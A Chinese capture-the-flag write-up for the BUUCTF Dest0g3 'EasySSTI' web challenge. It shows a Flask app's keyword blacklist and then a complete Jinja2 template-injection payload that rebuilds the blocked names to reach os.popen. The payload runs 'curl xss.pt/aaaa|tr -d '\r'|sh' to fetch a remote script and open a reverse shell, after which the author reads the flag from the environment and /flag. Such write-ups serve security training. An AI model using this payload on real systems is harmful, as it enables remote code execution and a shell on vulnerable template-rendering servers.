buuctf:Dest0g3 520迎新赛 web EasySSTI

源码如下,过滤了不少,过滤不区分大小写:

 [

'\t', ' ', "'", '"', '_', 'getitem', 'request', 'popen', 'cookies', 'args', 'class',

'mro', 'bases', 'subclasses', 'read', 'globals', 'init', '.', 'eval', 'import',

'system', 'builtins', 'os', 'pop', '[', 'form'

]

09:22:26_@out:~# cat /app/app.py
from flask import Flask
from flask import request, render_template_string, render_template

app = Flask(__name__)

def waf(name):
    black_list = ['\t', ' ', "'", '"', '_', 'getitem', 'request', 'popen', 'cookies', 'args', 'class', 'mro', 'bases', 'subclasses', 'read', 'globals', 'init', '.', 'eval', 'import', 'system', 'builtins', 'os', 'pop', '[', 'form']
    for black in black_list:
        if black in name.lower():
            name = black + " in blacklist"
            break
    return name


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/login", methods=['POST'])
def login():
    username = request.form.get('username')
    template = '''
    {%% block body %%}
        

            
Hello
            
%s
        
    {%% endblock %%}
    ''' % (waf(username))
    return render_template_string(template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)
09:22:41_@out:~#

payload:

POST /login HTTP/1.1
Host: xxx.node4.buuoj.cn:81
Content-Length: xxxx
Content-Type: application/x-www-form-urlencoded
Connection: close

username={%set%0crdea=dict(re=a,ad=a)|join%}{%set%0cpone=dict(po=a,p=a,e=a,n=a)|join%}{%set%0cget=dict(get=a)|join%}{%set%0cso=dict(o=a,s=a)|join%}{%set%0copp=dict(po=a,p=a)|join%}{%set%0cindex=dict(index=a)|join%}{%set%0cn=dict(n=a)|join%}{%set%0cu=dict(u=a)|join%}{%set%0cthree=(lipsum|string|list)|attr(index)(n)%}{%set%0ctwo=(lipsum|string|list)|attr(index)(u)%}{%set%0cone=three-two%}{%set%0cfive=three%2btwo%}{%set%0csix=three*two%}{%set%0cfou=five-one%}{%set%0cnine=three*three%}{%set%0cunderline=(lipsum|string|list)|attr(opp)(two*nine)%}{%set%0cgbl=(underline,underline,dict(glob=a,als=a)|join,underline,underline)|join%}{%set%0cspace=(lipsum|string|list)|attr(opp)(nine)%}{%set%0cc=dict(chr=a)|join%}{%set%0cgetIT=(underline,underline,dict(getit=a,em=a)|join,underline,underline)|join%}{%set%0cbul=(underline,underline,dict(builtin=a,s=a)|join,underline,underline)|join%}{%set%0cbuii=lipsum|attr(gbl)|attr(getIT)(bul)%}{%set%0cshiz=five*nine%}{%set%0cjian=buii|attr(get)(c)(shiz)%}{%set%0cshuxian=buii|attr(get)(c)(five*five*five-one)%}{%set%0cxiangang=buii|attr(get)(c)(shiz%2btwo)%}{%set%0cfanxian=buii|attr(get)(c)(two*shiz%2btwo)%}{%set%0cdot=buii|attr(get)(c)(shiz%2bone)%}{%set%0cyinghao=buii|attr(get)(c)(shiz-six)%}{%set%0caa=dict(curl=a)|join%}{%set%0cab=dict(xss=a)|join%}{%set%0cpt=dict(pt=a)|join%}{%set%0caaaa=dict(aaaa=a)|join%}{%set%0ctr=dict(tr=a)|join%}{%set%0cd=dict(d=a)|join%}{%set%0cr=dict(r=a)|join%}{%set%0csh=dict(sh=a)|join%}{%set%0ccmd=(aa,space,ab,dot,pt,xc,xiangang,aaaa,shuxian,tr,space,jian,d,space,yinghao,fanxian,r,yinghao,shuxian,sh)|join%}{{cmd}}{{lipsum|attr(gbl)|attr(get)(so)|attr(pone)(cmd)|attr(rdea)()}}&password=2

     

   

            
Hello
            
curl xss.pt/aaaa|tr -d '\r'|sh
        

反弹成功后,查看flag:

09:29:08_@out:~# set|grep FLAG
FLAG='Dest0g3{06237dfa-6a6e-4ab3-8309-e7688723c4c2}'
09:29:16_@out:~# cat /flag
Dest0g3{06237dfa-6a6e-4ab3-8309-e7688723c4c2}
09:29:20_@out:~#